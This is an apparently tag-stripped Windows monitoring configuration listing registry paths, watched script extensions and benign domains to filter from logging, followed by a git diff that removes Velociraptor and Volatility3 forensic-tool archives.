HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\ - _Classes\AppX - HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\ - - HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LsaPid - HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SspiCache - HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Domains - - \Services\BITS\Start - \services\clr_optimization_v2.0.50727_32\Start - \services\clr_optimization_v2.0.50727_64\Start - \services\clr_optimization_v4.0.30319_32\Start - \services\clr_optimization_v4.0.30319_64\Start - \services\deviceAssociationService\Start - \services\fhsvc\Start - \services\nal\Start - \services\trustedInstaller\Start - \services\tunnel\Start - \services\usoSvc\Start - - \UserChoice\ProgId - \UserChoice\Hash - \OpenWithList\MRUList - Shell Extentions\Cached - - HKLM\System\CurrentControlSet\Control\Lsa\Audit\SpecialGroups - SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup\0\PSScriptOrder - SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup\0\SOM-ID - SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup\0\GPO-ID - SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup\0\0\IsPowershell - SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup\0\0\ExecTime - SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Shutdown\0\PSScriptOrder - SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Shutdown\0\SOM-ID - SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Shutdown\0\GPO-ID - SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Shutdown\0\0\IsPowershell - SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Shutdown\0\0\ExecTime - \safer\codeidentifiers\0\HASHES\{ - - VirtualStore\MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\ - HKLM\SOFTWARE\Microsoft\Office\ClickToRun\ - - C:\Program Files\WIDCOMM\Bluetooth Software\btwdins.exe - HKCR\VLC. - HKCR\iTunes. - - HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\{945a8954-c147-4acd-923f-40c45405a658} - - - - - - - - - - - Downloads - Temp\7z - Startup - .bat - .cmd - .doc - .hta - .lnk - .ppt - .ps1 - .ps2 - .reg - .jse - .vb - .vbe - .vbs - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .arpa. - .arpa - .msftncsi.com - ..localmachine - localhost - - -pushp.svc.ms - .b-msedge.net - .bing.com - .hotmail.com - .live.com - .live.net - .s-microsoft.com - .microsoft.com - .microsoftonline.com - .microsoftstore.com - .ms-acdc.office.com - .msedge.net - .msn.com - .msocdn.com - .skype.com - .skype.net - .windows.com - .windows.net.nsatc.net - .windowsupdate.com - .xboxlive.com - login.windows.net - C:\ProgramData\Microsoft\Windows Defender\Platform\ - - .activedirectory.windowsazure.com - .aria.microsoft.com - .msauth.net - .msftauth.net - .opinsights.azure.com - osi.office.net - loki.delve.office.com - management.azure.com - messaging.office.com - outlook.office365.com - portal.azure.com - protection.outlook.com - substrate.office.com - - .mozaws.net - .mozilla.com - .mozilla.net - .mozilla.org - .spotify.com - .spotify.map.fastly.net - clients1.google.com - clients2.google.com - clients3.google.com - clients4.google.com - clients5.google.com - clients6.google.com - safebrowsing.googleapis.com - - .akadns.net - .netflix.com - aspnetcdn.com - ajax.googleapis.com - cdnjs.cloudflare.com - fonts.googleapis.com - .typekit.net - cdnjs.cloudflare.com - .stackassets.com - .steamcontent.com - - .disqus.com - .fontawesome.com - disqus.com - - .1rx.io - .2mdn.net - .adadvisor.net - .adap.tv - .addthis.com - .adform.net - .adnxs.com - .adroll.com - .adrta.com - .adsafeprotected.com - .adsrvr.org - .advertising.com - .amazon-adsystem.com - .amazon-adsystem.com - .analytics.yahoo.com - .aol.com - .betrad.com - .bidswitch.net - .casalemedia.com - .chartbeat.net - .cnn.com - .convertro.com - .criteo.com - .criteo.net - .crwdcntrl.net - .demdex.net - .domdex.com - .dotomi.com - .doubleclick.net - .doubleverify.com - .emxdgt.com - .exelator.com - .google-analytics.com - .googleadservices.com - .googlesyndication.com - .googletagmanager.com - .googlevideo.com - .gstatic.com - .gvt1.com - .gvt2.com - .ib-ibi.com - .jivox.com - .mathtag.com - .moatads.com - .moatpixel.com - .mookie1.com - .myvisualiq.net - .netmng.com - .nexac.com - .openx.net - .optimizely.com - .outbrain.com - .pardot.com - .phx.gbl - .pinterest.com - .pubmatic.com - .quantcount.com - .quantserve.com - .revsci.net - .rfihub.net - .rlcdn.com - .rubiconproject.com - .scdn.co - .scorecardresearch.com - .serving-sys.com - .sharethrough.com - .simpli.fi - .sitescout.com - .smartadserver.com - .snapads.com - .spotxchange.com - .taboola.com - .taboola.map.fastly.net - .tapad.com - .tidaltv.com - .trafficmanager.net - .tremorhub.com - .tribalfusion.com - .turn.com - .twimg.com - .tynt.com - .w55c.net - .ytimg.com - .zorosrv.com - 1rx.io - adservice.google.com - ampcid.google.com - clientservices.googleapis.com - googleadapis.l.google.com - imasdk.googleapis.com - l.google.com - ml314.com - mtalk.google.com - update.googleapis.com - www.googletagservices.com - - .pscp.tv - - .digicert.com - .globalsign.com - .globalsign.net - msocsp.com - ocsp.msocsp.com - pki.goog - ocsp.godaddy.com - amazontrust.com - ocsp.sectigo.com - pki-goog.l.google.com - .usertrust.com - ocsp.comodoca.com - ocsp.verisign.com - ocsp.entrust.net - ocsp.identrust.com - status.rapidssl.com - status.thawte.com - ocsp.int-x3.letsencrypt.org - - - - - - - - - diff --git a/velociraptor-v0.5.5-1-windows-amd64.exe.7z b/velociraptor-v0.5.5-1-windows-amd64.exe.7z deleted file mode 100644 index 61e0a809..00000000 Binary files a/velociraptor-v0.5.5-1-windows-amd64.exe.7z and /dev/null differ diff --git a/velociraptor-v0.5.5-1-windows-amd64.msi b/velociraptor-v0.5.5-1-windows-amd64.msi deleted file mode 100644 index 362d62d3..00000000 Binary files a/velociraptor-v0.5.5-1-windows-amd64.msi and /dev/null differ diff --git a/volatility3-1.0.0.tar.gz b/volatility3-1.0.0.tar.gz deleted file mode 100644 index 04250b78..00000000 Binary files a/volatility3-1.0.0.tar.gz and /dev/null differ